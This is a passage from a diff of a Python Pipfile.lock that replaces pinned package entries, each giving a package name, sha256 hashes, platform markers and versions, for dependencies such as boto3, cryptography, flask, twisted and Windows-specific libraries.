"sha256:ac786f6cb7aa10d44e9641c7a7d16d7f6e095b138795cd43503769d4154e0dc2", - "sha256:b09bc62e5193e31d7f9876220fb429ec13a6a181a24d897b9edfbbdbcd678851", - "sha256:b10556817f09d46d420edd982dd0653940b90151d0576f09143a8e773459f6fe", - "sha256:b81076552d34c27e5149a40187a8f7e2abb2d3185576a317aaf14aeeedad862a", - "sha256:bdfc54b4468ed4cd7415928cbe782f4d782722a81aeb0f81e2ddca9932632211", - "sha256:cf6e7d5fe2aeb54898df18db1baf479863eae581cce05410f61f6b4188c8ada1", - "sha256:cf98038d2abf63a1ada5730e91e84c642ba6c225b0198c3684151b1f80c5f8a6", - "sha256:d24a9e61df7a7787b338a58abfba975414937b609eb6b18973e25f573bc0eeeb", - "sha256:d74ee72b5071818a1a5dab47338e87f08a738cb938a3b0653b9e4d959ddd1fd9", - "sha256:dd16302d39c4d6f4afde80edd0c97d4db643327d355a312762ccd9bd2ca515ed", - "sha256:dd2fb11922f58df8528adfca123f6a84748ad17d066007e7ac977720063556bd", - "sha256:deac4bdafa19bbb89edfb73b19f7f69a52d0b5bd3bb0c4ad404c1bbfd7b4b7fd", - "sha256:e03c3b8cc7883a54c3f34a6a135c4a17bc9088a33f36796acdb47162791b02f6", - "sha256:e1ec8a9ee0987d4524ffd6299e778c16cc35fef6d1a2764e609f90962f0b293a", - "sha256:e8603e691580487f11306ecb066c76f1f4a8b54fb3bdb23fa40643a059509366", - "sha256:f444762fed1bc1fd75187ef14a20ed900c1fbb245d45be9e834b822a0223bc81", - "sha256:f63600ec06982cdf480899026f4fda622776f5fabed9a869fdb32d72bc17e99a", - "sha256:fb62d517a516128bacf08cb6a86ecd39fb06d08e7c4980251f5d5601d29989ba" - ], - "index": "pypi", - "version": "==3.17.6" - }, - "six": { - "hashes": [ - "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926", - "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254" - ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", - "version": "==1.16.0" - }, - "sqlitedict": { - "hashes": [ - "sha256:2affcc301aacd4da7511692601ecbde392294205af418498f7d6d3ec0dbcad56" - ], - "version": "==1.7.0" - }, - "tempora": { - "hashes": [ - "sha256:8d743059a4ea496d925f35480c6d206a7160cacebcd6a31e147fb495dcb732af", - "sha256:aa21dd1956e29559ecb2f2f2e14fcdb950085222fbbf86e6c946b5e1a8c36b26" - ], - "markers": "python_version >= '3.7'", - "version": "==5.0.0" - }, - "tqdm": { - "hashes": [ - "sha256:8dd278a422499cd6b727e6ae4061c40b48fce8b76d1ccbf5d34fca9b7f925b0c", - "sha256:d359de7217506c9851b7869f3708d8ee53ed70a1b8edbba4dbcb47442592920d" - ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", - "version": "==4.62.3" - }, - "twisted": { - "extras": [ - "tls" - ], - "hashes": [ - "sha256:13c1d1d2421ae556d91e81e66cf0d4f4e4e1e4a36a0486933bee4305c6a4fb9b", - "sha256:2cd652542463277378b0d349f47c62f20d9306e57d1247baabd6d1d38a109006" - ], - "markers": "python_full_version >= '3.6.7'", - "version": "==21.7.0" - }, - "twisted-iocpsupport": { - "hashes": [ - "sha256:306becd6e22ab6e8e4f36b6bdafd9c92e867c98a5ce517b27fdd27760ee7ae41", - "sha256:3c61742cb0bc6c1ac117a7e5f422c129832f0c295af49e01d8a6066df8cfc04d", - "sha256:72068b206ee809c9c596b57b5287259ea41ddb4774d86725b19f35bf56aa32a9", - "sha256:7d972cfa8439bdcb35a7be78b7ef86d73b34b808c74be56dfa785c8a93b851bf", - "sha256:81b3abe3527b367da0220482820cb12a16c661672b7bcfcde328902890d63323", - "sha256:851b3735ca7e8102e661872390e3bce88f8901bece95c25a0c8bb9ecb8a23d32", - "sha256:985c06a33f5c0dae92c71a036d1ea63872ee86a21dd9b01e1f287486f15524b4", - "sha256:9dbb8823b49f06d4de52721b47de4d3b3026064ef4788ce62b1a21c57c3fff6f", - "sha256:b435857b9efcbfc12f8c326ef0383f26416272260455bbca2cd8d8eca470c546", - "sha256:b76b4eed9b27fd63ddb0877efdd2d15835fdcb6baa745cb85b66e5d016ac2878", - "sha256:b9fed67cf0f951573f06d560ac2f10f2a4bbdc6697770113a2fc396ea2cb2565", - "sha256:bf4133139d77fc706d8f572e6b7d82871d82ec7ef25d685c2351bdacfb701415" - ], - "markers": "platform_system == 'Windows'", - "version": "==1.0.2" - }, - "typing-extensions": { - "hashes": [ - "sha256:4ca091dea149f945ec56afb48dae714f21e8692ef22a395223bcd328961b6a0e", - "sha256:7f001e5ac290a0c0401508864c7ec868be4e701886d5b573a9528ed3973d9d3b" - ], - "index": "pypi", - "version": "==4.0.1" - }, - "urllib3": { - "hashes": [ - "sha256:753a0374df26658f99d826cfe40394a686d05985786d946fbe4165b5148f5a7c", - "sha256:a7acd0977125325f516bda9735fa7142b909a8d01e8b2e4c8108d0984e6e0098" - ], - "index": "pypi", - "version": "==1.26.5" - }, - "wcwidth": { - "hashes": [ - "sha256:beb4802a9cebb9144e99086eff703a642a13d6a0052920003a230f3294bbe784", - "sha256:c4d647b99872929fdb7bdcaa4fbe7f01413ed3d98077df798530e5b04f116c83" - ], - "version": "==0.2.5" - }, - "werkzeug": { - "hashes": [ - "sha256:63d3dc1cf60e7b7e35e97fa9861f7397283b75d765afcaefd993d6046899de8f", - "sha256:aa2bb6fc8dee8d6c504c0ac1e7f5f7dc5810a9903e793b6f715a9f015bdadb9a" - ], - "markers": "python_version >= '3.6'", - "version": "==2.0.2" - }, - "winacl": { - "hashes": [ - "sha256:187b4394ef247806f50e1d8320bdb9e33ad1f759d9e61e2e391b97b9adf5f58a", - "sha256:949a66b0f46015c8cf8d9c1bfdb3a5174e70c28ae1b096eb778bc2983ea7ce50" - ], - "markers": "python_version >= '3.6'", - "version": "==0.1.2" - }, - "winsspi": { - "hashes": [ - "sha256:a2ad9c0f6d70f6e0e0d1f54b8582054c62d8a09f346b5ccaf55da68628ca10e1", - "sha256:a64624a25fc2d3663a2c5376c5291f3c7531e9c8051571de9ca9db8bf25746c2" - ], - "markers": "platform_system == 'Windows'", - "version": "==0.0.9" - }, - "winsys-3.x": { - "hashes": [ - "sha256:cef3df1dce2a5a71efa46446e6007ad9f7dbae31e83ffcc2ea3485c00c914cc3" - ], - "index": "pypi", - "version": "==0.5.2" - }, - "wmi": { - "hashes": [ - "sha256:1d6b085e5c445141c475476000b661f60fff1aaa19f76bf82b7abb92e0ff4942", - "sha256:b6a6be5711b1b6c8d55bda7a8befd75c48c12b770b9d227d31c1737dbf0d40a6" - ], - "index": "pypi", - "markers": "sys_platform == 'win32'", - "version": "==1.5.1" - }, - "zc.lockfile": { - "hashes": [ - "sha256:307ad78227e48be260e64896ec8886edc7eae22d8ec53e4d528ab5537a83203b", - "sha256:cc33599b549f0c8a248cb72f3bf32d77712de1ff7ee8814312eb6456b42c015f" - ], - "version": "==2.0" - }, - "zipp": { - "hashes": [ - "sha256:9f50f446828eb9d45b267433fd3e9da8d801f614129124863f9c51ebceafb87d", - "sha256:b47250dd24f92b7dd6a0a8fc5244da14608f3ca90a5efcd37a3b1642fac9a375" - ], - "markers": "python_version < '3.10'", - "version": "==3.7.0" - }, - "zope.interface": { - "hashes": [ - "sha256:08f9636e99a9d5410181ba0729e0408d3d8748026ea938f3b970a0249daa8192", - "sha256:0b465ae0962d49c68aa9733ba92a001b2a0933c317780435f00be7ecb959c702", - "sha256:0cba8477e300d64a11a9789ed40ee8932b59f9ee05f85276dbb4b59acee5dd09", - "sha256:0cee5187b60ed26d56eb2960136288ce91bcf61e2a9405660d271d1f122a69a4", - "sha256:0ea1d73b7c9dcbc5080bb8aaffb776f1c68e807767069b9ccdd06f27a161914a", - "sha256:0f91b5b948686659a8e28b728ff5e74b1be6bf40cb04704453617e5f1e945ef3", - "sha256:15e7d1f7a6ee16572e21e3576d2012b2778cbacf75eb4b7400be37455f5ca8bf", - "sha256:17776ecd3a1fdd2b2cd5373e5ef8b307162f581c693575ec62e7c5399d80794c", - "sha256:194d0bcb1374ac3e1e023961610dc8f2c78a0f5f634d0c737691e215569e640d", - "sha256:1c0e316c9add0db48a5b703833881351444398b04111188069a26a61cfb4df78", - "sha256:205e40ccde0f37496904572035deea747390a8b7dc65146d30b96e2dd1359a83", - "sha256:273f158fabc5ea33cbc936da0ab3d4ba80ede5351babc4f577d768e057651531", - "sha256:2876246527c91e101184f63ccd1d716ec9c46519cc5f3d5375a3351c46467c46", - "sha256:2c98384b254b37ce50eddd55db8d381a5c53b4c10ee66e1e7fe749824f894021", - "sha256:2e5a26f16503be6c826abca904e45f1a44ff275fdb7e9d1b75c10671c26f8b94", - "sha256:334701327f37c47fa628fc8b8d28c7d7730ce7daaf4bda1efb741679c2b087fc", - "sha256:3748fac0d0f6a304e674955ab1365d515993b3a0a865e16a11ec9d86fb307f63", - "sha256:3c02411a3b62668200910090a0dff17c0b25aaa36145082a5a6adf08fa281e54", - "sha256:3dd4952748521205697bc2802e4afac5ed4b02909bb799ba1fe239f77fd4e117", - "sha256:3f24df7124c323fceb53ff6168da70dbfbae1442b4f3da439cd441681f54fe25", - "sha256:469e2407e0fe9880ac690a3666f03eb4c3c444411a5a5fddfdabc5d184a79f05", - "sha256:4de4bc9b6d35c5af65b454d3e9bc98c50eb3960d5a3762c9438df57427134b8e", - "sha256:5208ebd5152e040640518a77827bdfcc73773a15a33d6644015b763b9c9febc1", - "sha256:52de7fc6c21b419078008f697fd4103dbc763288b1406b4562554bd47514c004", - "sha256:5bb3489b4558e49ad2c5118137cfeaf59434f9737fa9c5deefc72d22c23822e2", - "sha256:5dba5f530fec3f0988d83b78cc591b58c0b6eb8431a85edd1569a0539a8a5a0e", - "sha256:5dd9ca406499444f4c8299f803d4a14edf7890ecc595c8b1c7115c2342cadc5f", - "sha256:5f931a1c21dfa7a9c573ec1f50a31135ccce84e32507c54e1ea404894c5eb96f", - "sha256:63b82bb63de7c821428d513607e84c6d97d58afd1fe2eb645030bdc185440120", - "sha256:66c0061c91b3b9cf542131148ef7ecbecb2690d48d1612ec386de9d36766058f", - "sha256:6f0c02cbb9691b7c91d5009108f975f8ffeab5dff8f26d62e21c493060eff2a1", - "sha256:71aace0c42d53abe6fc7f726c5d3b60d90f3c5c055a447950ad6ea9cec2e37d9", - "sha256:7d97a4306898b05404a0dcdc32d9709b7d8832c0c542b861d9a826301719794e", - "sha256:7df1e1c05304f26faa49fa752a8c690126cf98b40b91d54e6e9cc3b7d6ffe8b7", - "sha256:8270252effc60b9642b423189a2fe90eb6b59e87cbee54549db3f5562ff8d1b8", - "sha256:867a5ad16892bf20e6c4ea2aab1971f45645ff3102ad29bd84c86027fa99997b", - "sha256:877473e675fdcc113c138813a5dd440da0769a2d81f4d86614e5d62b69497155", - "sha256:8892f89999ffd992208754851e5a052f6b5db70a1e3f7d54b17c5211e37a98c7", - "sha256:9a9845c4c6bb56e508651f005c4aeb0404e518c6f000d5a1123ab077ab769f5c", - "sha256:a1e6e96217a0f72e2b8629e271e1b280c6fa3fe6e59fa8f6701bec14e3354325", - "sha256:a8156e6a7f5e2a0ff0c5b21d6bcb45145efece1909efcbbbf48c56f8da68221d", - "sha256:a9506a7e80bcf6eacfff7f804c0ad5350c8c95b9010e4356a4b36f5322f09abb", - "sha256:af310ec8335016b5e52cae60cda4a4f2a60a788cbb949a4fbea13d441aa5a09e", - "sha256:b0297b1e05fd128d26cc2460c810d42e205d16d76799526dfa8c8ccd50e74959", - "sha256:bf68f4b2b6683e52bec69273562df15af352e5ed25d1b6641e7efddc5951d1a7", - "sha256:d0c1bc2fa9a7285719e5678584f6b92572a5b639d0e471bb8d4b650a1a910920", - "sha256:d4d9d6c1a455d4babd320203b918ccc7fcbefe308615c521062bc2ba1aa4d26e", - "sha256:db1fa631737dab9fa0b37f3979d8d2631e348c3b4e8325d6873c2541d0ae5a48", - "sha256:dd93ea5c0c7f3e25335ab7d22a507b1dc43976e1345508f845efc573d3d779d8", - "sha256:f44e517131a98f7a76696a7b21b164bcb85291cee106a23beccce454e1f433a4", - "sha256:f7ee479e96f7ee350db1cf24afa5685a5899e2b34992fb99e1f7c1b0b758d263" - ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", - "version": "==5.4.0" - } - }, - "develop": { - "ldap3": { - "hashes": [ - "sha256:2bc966556fc4d4fa9f445a1c31dc484ee81d44a51ab0e2d0fd05b62cac75daa6", - "sha256:5630d1383e09ba94839e253e013f1aa1a2cf7a547628ba1265cb7b9a844b5687", - "sha256:5869596fc4948797020d3f03b7939da938778a0f9e2009f7a072ccf92b8e8d70", - "sha256:5ab7febc00689181375de40c396dcad4f2659cd260fc5e94c508b6d77c17e9d5", - "sha256:f3e7fc4718e3f09dda568b57100095e0ce58633bcabbed8667ce3f8fbaa4229f" - ], - "version": "==2.9.1" - }, - "pyasn1": { - "hashes": [ - "sha256:014c0e9976956a08139dc0712ae195324a75e142284d5f87f1a87ee1b068a359", - "sha256:03840c999ba71680a131cfaee6fab142e1ed9bbd9c693e285cc6aca0d555e576", - "sha256:0458773cfe65b153891ac249bcf1b5f8f320b7c2ce462151f8fa74de8934becf", - "sha256:08c3c53b75eaa48d71cf8c710312316392ed40899cb34710d092e96745a358b7", - "sha256:39c7e2ec30515947ff4e87fb6f456dfc6e84857d34be479c9d4a4ba4bf46aa5d", - "sha256:5c9414dcfede6e441f7e8f81b43b34e834731003427e5b09e4e00e3172a10f00", - "sha256:6e7545f1a61025a4e58bb336952c5061697da694db1cae97b116e9c46abcf7c8", - "sha256:78fa6da68ed2727915c4767bb386ab32cdba863caa7dbe473eaae45f9959da86", - "sha256:7ab8a544af125fb704feadb008c99a88805126fb525280b2270bb25cc1d78a12", - "sha256:99fcc3c8d804d1bc6d9a099921e39d827026409a58f2a720dcdb89374ea0c776", - "sha256:aef77c9fb94a3ac588e87841208bdec464471d9871bd5050a287cc9a475cd0ba", - "sha256:e89bf84b5437b532b0803ba5c9a5e054d21fec423a89952a74f87fa2c9b7bce2", - "sha256:fec3e9d8e36808a28efb59b489e4528c10ad0f480e57dcc32b4de5c9d8c9fdf3" - ], - "version": "==0.4.8" - } - } -} +{ + "_meta": { + "hash": { + "sha256": "63101ece611456dcb75bc86d42d2041d10925aa594e517d8ff088262257fe7e9" + }, + "pipfile-spec": 6, + "requires": { + "python_version": "3.7" + }, + "sources": [ + { + "name": "pypi", + "url": "https://pypi.org/simple", + "verify_ssl": true + } + ] + }, + "default": { + "aiowinreg": { + "hashes": [ + "sha256:6cd7f64ef002a7c6d7c27310db578fbc8992eeaca0936ebc56283d70c54573f2", + "sha256:a191c039f9c0c1681e8fc3a3ce26c56e8026930624932106d7a1526d96c008dd" + ], + "markers": "python_version >= '3.6'", + "version": "==0.0.7" + }, + "altgraph": { + "hashes": [ + "sha256:743628f2ac6a7c26f5d9223c91ed8ecbba535f506f4b6f558885a8a56a105857", + "sha256:ebf2269361b47d97b3b88e696439f6e4cbc607c17c51feb1754f90fb79839158" + ], + "index": "pypi", + "version": "==0.17.2" + }, + "asn1crypto": { + "hashes": [ + "sha256:4bcdf33c861c7d40bdcd74d8e4dd7661aac320fcdf40b9a3f95b4ee12fde2fa8", + "sha256:f4f6e119474e58e04a2b1af817eb585b4fd72bdd89b998624712b5c99be7641c" + ], + "version": "==1.4.0" + }, + "asyncio-throttle": { + "hashes": [ + "sha256:a01a56f3671e961253cf262918f3e0741e222fc50d57d981ba5c801f284eccfe" + ], + "markers": "python_version >= '3.5'", + "version": "==0.1.1" + }, + "asysocks": { + "hashes": [ + "sha256:9b33fe5ab6853ed2ac9eb1652f4a8593a78ad5ba258bd10fa4b81801e38729c2", + "sha256:a0a20e583fedb08c962a68dd50764a34424c41bd59a0ae952d8bb368a03eaa45" + ], + "markers": "python_version >= '3.6'", + "version": "==0.1.2" + }, + "attrs": { + "hashes": [ + "sha256:2d27e3784d7a565d36ab851fe94887c5eccd6a463168875832a1be79c82828b4", + "sha256:626ba8234211db98e869df76230a137c4c40a12d72445c45d5f5b716f076e2fd" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==21.4.0" + }, + "automat": { + "hashes": [ + "sha256:7979803c74610e11ef0c0d68a2942b152df52da55336e0c9d58daf1831cbdf33", + "sha256:b6feb6455337df834f6c9962d6ccf771515b7d939bca142b29c20c2376bc6111" + ], + "version": "==20.2.0" + }, + "bcrypt": { + "hashes": [ + "sha256:56e5da069a76470679f312a7d3d23deb3ac4519991a0361abc11da837087b61d", + "sha256:5b93c1726e50a93a033c36e5ca7fdcd29a5c7395af50a6892f5d9e7c6cfbfb29", + "sha256:63d4e3ff96188e5898779b6057878fecf3f11cfe6ec3b313ea09955d587ec7a7", + "sha256:81fec756feff5b6818ea7ab031205e1d323d8943d237303baca2c5f9c7846f34", + "sha256:a0584a92329210fcd75eb8a3250c5a941633f8bfaf2a18f81009b097732839b7", + "sha256:a67fb841b35c28a59cebed05fbd3e80eea26e6d75851f0574a9273c80f3e9b55", + "sha256:b589229207630484aefe5899122fb938a5b017b0f4349f769b8c13e78d99a8fd", + "sha256:c95d4cbebffafcdd28bd28bb4e25b31c50f6da605c81ffd9ad8a3d1b2ab7b1b6", + "sha256:cd1ea2ff3038509ea95f687256c46b79f5fc382ad0aa3664d200047546d511d1", + "sha256:cdcdcb3972027f83fe24a48b1e90ea4b584d35f1cc279d76de6fc4b13376239d" + ], + "markers": "python_version >= '3.6'", + "version": "==3.2.0" + }, + "boto3": { + "hashes": [ + "sha256:0e2f8aa8ee71f144d8afbe9ff7d0bb40525b94535e0695bdb200687970c9f452", + "sha256:55c7004af4296648ee497417dfc454d9c39770c265f67e28e1c5f10e11f3b644" + ], + "markers": "python_version >= '3.6'", + "version": "==1.20.37" + }, + "botocore": { + "hashes": [ + "sha256:9ea3eb6e507684900418ad100e5accd1d98979d41c49bacf15f970f0d72f75d4", + "sha256:f3077f1ca19e6ab6b7a84c61e01e136a97c7732078a8d806908aee44f1042f5f" + ], + "markers": "python_version >= '3.6'", + "version": "==1.23.37" + }, + "certifi": { + "hashes": [ + "sha256:78884e7c1d4b00ce3cea67b44566851c4343c120abd683433ce934a68ea58872", + "sha256:d62a0163eb4c2344ac042ab2bdf75399a71a2d8c7d47eac2e2ee91b9d6339569" + ], + "version": "==2021.10.8" + }, + "cffi": { + "hashes": [ + "sha256:00c878c90cb53ccfaae6b8bc18ad05d2036553e6d9d1d9dbcf323bbe83854ca3", + "sha256:0104fb5ae2391d46a4cb082abdd5c69ea4eab79d8d44eaaf79f1b1fd806ee4c2", + "sha256:06c48159c1abed75c2e721b1715c379fa3200c7784271b3c46df01383b593636", + "sha256:0808014eb713677ec1292301ea4c81ad277b6cdf2fdd90fd540af98c0b101d20", + "sha256:10dffb601ccfb65262a27233ac273d552ddc4d8ae1bf93b21c94b8511bffe728", + "sha256:14cd121ea63ecdae71efa69c15c5543a4b5fbcd0bbe2aad864baca0063cecf27", + "sha256:17771976e82e9f94976180f76468546834d22a7cc404b17c22df2a2c81db0c66", + "sha256:181dee03b1170ff1969489acf1c26533710231c58f95534e3edac87fff06c443", + "sha256:23cfe892bd5dd8941608f93348c0737e369e51c100d03718f108bf1add7bd6d0", + "sha256:263cc3d821c4ab2213cbe8cd8b355a7f72a8324577dc865ef98487c1aeee2bc7", + "sha256:2756c88cbb94231c7a147402476be2c4df2f6078099a6f4a480d239a8817ae39", + "sha256:27c219baf94952ae9d50ec19651a687b826792055353d07648a5695413e0c605", + "sha256:2a23af14f408d53d5e6cd4e3d9a24ff9e05906ad574822a10563efcef137979a", + "sha256:31fb708d9d7c3f49a60f04cf5b119aeefe5644daba1cd2a0fe389b674fd1de37", + "sha256:3415c89f9204ee60cd09b235810be700e993e343a408693e80ce7f6a40108029", + "sha256:3773c4d81e6e818df2efbc7dd77325ca0dcb688116050fb2b3011218eda36139", + "sha256:3b96a311ac60a3f6be21d2572e46ce67f09abcf4d09344c49274eb9e0bf345fc", + "sha256:3f7d084648d77af029acb79a0ff49a0ad7e9d09057a9bf46596dac9514dc07df", + "sha256:41d45de54cd277a7878919867c0f08b0cf817605e4eb94093e7516505d3c8d14", + "sha256:4238e6dab5d6a8ba812de994bbb0a79bddbdf80994e4ce802b6f6f3142fcc880", + "sha256:45db3a33139e9c8f7c09234b5784a5e33d31fd6907800b316decad50af323ff2", + "sha256:45e8636704eacc432a206ac7345a5d3d2c62d95a507ec70d62f23cd91770482a", + "sha256:4958391dbd6249d7ad855b9ca88fae690783a6be9e86df65865058ed81fc860e", + "sha256:4a306fa632e8f0928956a41fa8e1d6243c71e7eb59ffbd165fc0b41e316b2474", + "sha256:57e9ac9ccc3101fac9d6014fba037473e4358ef4e89f8e181f8951a2c0162024", + "sha256:59888172256cac5629e60e72e86598027aca6bf01fa2465bdb676d37636573e8", + "sha256:5e069f72d497312b24fcc02073d70cb989045d1c91cbd53979366077959933e0", + "sha256:64d4ec9f448dfe041705426000cc13e34e6e5bb13736e9fd62e34a0b0c41566e", + "sha256:6dc2737a3674b3e344847c8686cf29e500584ccad76204efea14f451d4cc669a", + "sha256:74fdfdbfdc48d3f47148976f49fab3251e550a8720bebc99bf1483f5bfb5db3e", + "sha256:75e4024375654472cc27e91cbe9eaa08567f7fbdf822638be2814ce059f58032", + "sha256:786902fb9ba7433aae840e0ed609f45c7bcd4e225ebb9c753aa39725bb3e6ad6", + "sha256:8b6c2ea03845c9f501ed1313e78de148cd3f6cad741a75d43a29b43da27f2e1e", + "sha256:91d77d2a782be4274da750752bb1650a97bfd8f291022b379bb8e01c66b4e96b", + "sha256:91ec59c33514b7c7559a6acda53bbfe1b283949c34fe7440bcf917f96ac0723e", + "sha256:920f0d66a896c2d99f0adbb391f990a84091179542c205fa53ce5787aff87954", + "sha256:a5263e363c27b653a90078143adb3d076c1a748ec9ecc78ea2fb916f9b861962", + "sha256:abb9a20a72ac4e0fdb50dae135ba5e77880518e742077ced47eb1499e29a443c", + "sha256:c2051981a968d7de9dd2d7b87bcb9c939c74a34626a6e2f8181455dd49ed69e4", + "sha256:c21c9e3896c23007803a875460fb786118f0cdd4434359577ea25eb556e34c55", + "sha256:c2502a1a03b6312837279c8c1bd3ebedf6c12c4228ddbad40912d671ccc8a962", + "sha256:d4d692a89c5cf08a8557fdeb329b82e7bf609aadfaed6c0d79f5a449a3c7c023", + "sha256:da5db4e883f1ce37f55c667e5c0de439df76ac4cb55964655906306918e7363c", + "sha256:e7022a66d9b55e93e1a845d8c9eba2a1bebd4966cd8bfc25d9cd07d515b33fa6", + "sha256:ef1f279350da2c586a69d32fc8733092fd32cc8ac95139a00377841f59a3f8d8", + "sha256:f54a64f8b0c8ff0b64d18aa76675262e1700f3995182267998c31ae974fbc382", + "sha256:f5c7150ad32ba43a07c4479f40241756145a1f03b43480e058cfd862bf5041c7", + "sha256:f6f824dc3bce0edab5f427efcfb1d63ee75b6fcb7282900ccaf925be84efb0fc", + "sha256:fd8a250edc26254fe5b33be00402e6d287f562b6a5b2152dec302fa15bb3e997", + "sha256:ffaa5c925128e29efbde7301d8ecaf35c8c60ffbcd6a1ffd3a552177c8e5e796" + ], + "index": "pypi", + "version": "==1.15.0" + }, + "chardet": { + "hashes": [ + "sha256:0d6f53a15db4120f2b08c94f11e7d93d2c911ee118b6b30a04ec3ee8310179fa", + "sha256:f864054d66fd9118f2e67044ac8981a54775ec5b67aed0441892edb553d21da5" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==4.0.0" + }, + "charset-normalizer": { + "hashes": [ + "sha256:876d180e9d7432c5d1dfd4c5d26b72f099d503e8fcc0feb7532c9289be60fcbd", + "sha256:cb957888737fc0bbcd78e3df769addb41fd1ff8cf950dc9e7ad7793f1bf44455" + ], + "markers": "python_version >= '3'", + "version": "==2.0.10" + }, + "cheroot": { + "hashes": [ + "sha256:366adf6e7cac9555486c2d1be6297993022eff6f8c4655c1443268cca3f08e25", + "sha256:62cbced16f07e8aaf512673987cd6b1fc5ad00073345e9ed6c4e2a5cc2a3a22d" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==8.6.0" + }, + "cherrypy": { + "hashes": [ + "sha256:55659e6f012d374898d6d9d581e17cc1477b6a14710218e64f187b9227bea038", + "sha256:f33e87286e7b3e309e04e7225d8e49382d9d7773e6092241d7f613893c563495" + ], + "markers": "python_version >= '3.5'", + "version": "==18.6.1" + }, + "cherrypy-cors": { + "hashes": [ + "sha256:eb512e20fa9e478abd1868b1417814a4e9240ed0c403472a2c624460e49ab0d5", + "sha256:f7fb75f6e617ce29c9ec3fdd8b1ff6ec64fec2c56371182525e22bcf4c180513" + ], + "markers": "python_version >= '2.7'", + "version": "==1.6" + }, + "click": { + "hashes": [ + "sha256:353f466495adaeb40b6b5f592f9f91cb22372351c84caeb068132442a4518ef3", + "sha256:410e932b050f5eed773c4cda94de75971c89cdb3155a72a0831139a79e5ecb5b" + ], + "markers": "python_version >= '3.6'", + "version": "==8.0.3" + }, + "colorama": { + "hashes": [ + "sha256:5941b2b48a20143d2267e95b1c2a7603ce057ee39fd88e7329b0c292aa16869b", + "sha256:9f47eda37229f68eee03b24b9748937c7dc3868f906e8ba69fbcbdd3bc5dc3e2" + ], + "markers": "sys_platform == 'win32'", + "version": "==0.4.4" + }, + "coloredlogs": { + "hashes": [ + "sha256:34fad2e342d5a559c31b6c889e8d14f97cb62c47d9a2ae7b5ed14ea10a79eff8", + "sha256:b869a2dda3fa88154b9dd850e27828d8755bfab5a838a1c97fbc850c6e377c36" + ], + "version": "==10.0" + }, + "constantly": { + "hashes": [ + "sha256:586372eb92059873e29eba4f9dec8381541b4d3834660707faf8ba59146dfc35", + "sha256:dd2fa9d6b1a51a83f0d7dd76293d734046aa176e384bf6e33b7e44880eb37c5d" + ], + "version": "==15.1.0" + }, + "cryptography": { + "hashes": [ + "sha256:05b3ded5e88747d28ee3ef493f2b92cbb947c1e45cf98cfef22e6d38bb67d4af", + "sha256:06826e7f72d1770e186e9c90e76b4f84d90cdb917b47ff88d8dc59a7b10e2b1e", + "sha256:08b753df3672b7066e74376f42ce8fc4683e4fd1358d34c80f502e939ee944d2", + "sha256:2cd29bd1911782baaee890544c653bb03ec7d95ebeb144d714b0f5c33deb55c7", + "sha256:31e5637e9036d966824edaa91bf0aa39dc6f525a1c599f39fd5c50340264e079", + "sha256:42fad67d7072216a49e34f923d8cbda9edacbf6633b19a79655e88a1b4857063", + "sha256:4946b67235b9d2ea7d31307be9d5ad5959d6c4a8f98f900157b47abddf698401", + "sha256:522fdb2809603ee97a4d0ef2f8d617bc791eb483313ba307cb9c0a773e5e5695", + "sha256:6f841c7272645dd7c65b07b7108adfa8af0aaea57f27b7f59e01d41f75444c85", + "sha256:7d335e35306af5b9bc0560ca39f740dfc8def72749645e193dd35be11fb323b3", + "sha256:8504661ffe324837f5c4607347eeee4cf0fcad689163c6e9c8d3b18cf1f4a4ad", + "sha256:9260b201ce584d7825d900c88700aa0bd6b40d4ebac7b213857bd2babee9dbca", + "sha256:9a30384cc402eac099210ab9b8801b2ae21e591831253883decdb4513b77a3cd", + "sha256:9e29af877c29338f0cab5f049ccc8bd3ead289a557f144376c4fbc7d1b98914f", + "sha256:ab50da871bc109b2d9389259aac269dd1b7c7413ee02d06fe4e486ed26882159", + "sha256:b13c80b877e73bcb6f012813c6f4a9334fcf4b0e96681c5a15dac578f2eedfa0", + "sha256:bfe66b577a7118e05b04141f0f1ed0959552d45672aa7ecb3d91e319d846001e", + "sha256:e091bd424567efa4b9d94287a952597c05d22155a13716bf5f9f746b9dc906d3", + "sha256:fa2b38c8519c5a3aa6e2b4e1cf1a549b54acda6adb25397ff542068e73d1ed00" + ], + "index": "pypi", + "version": "==2.5" + }, + "dnspython": { + "hashes": [ + "sha256:95d12f6ef0317118d2a1a6fc49aac65ffec7eb8087474158f42f26a639135216", + "sha256:e4a87f0b573201a0f3727fa18a516b055fd1107e0e5477cded4a2de497df1dd4" + ], + "markers": "python_version >= '3.6'", + "version": "==2.1.0" + }, + "ecdsa": { + "hashes": [ + "sha256:867ec9cf6df0b03addc8ef66b56359643cb5d0c1dc329df76ba7ecfe256c8061", + "sha256:8f12ac317f8a1318efa75757ef0a651abe12e51fc1af8838fb91079445227277" + ], + "index": "pypi", + "version": "==0.15" + }, + "flask": { + "hashes": [ + "sha256:7b2fb8e934ddd50731893bdcdb00fc8c0315916f9fcd50d22c7cc1a95ab634e2", + "sha256:cb90f62f1d8e4dc4621f52106613488b5ba826b2e1e10a33eac92f723093ab6a" + ], + "markers": "python_version >= '3.6'", + "version": "==2.0.2" + }, + "future": { + "hashes": [ + "sha256:b1bead90b70cf6ec3f0710ae53a525360fa360d306a86583adc6bf83a4db537d" + ], + "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==0.18.2" + }, + "httpagentparser": { + "hashes": [ + "sha256:ef763d31993dd761825acee6c8b34be32b95cf1675d1c73c3cd35f9e52831b26" + ], + "version": "==1.9.1" + }, + "humanfriendly": { + "hashes": [ + "sha256:1697e1a8a8f550fd43c2865cd84542fc175a61dcb779b6fee18cf6b6ccba1477", + "sha256:6b0b831ce8f15f7300721aa49829fc4e83921a9a301cc7f606be6686a2288ddc" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==10.0" + }, + "hyperlink": { + "hashes": [ + 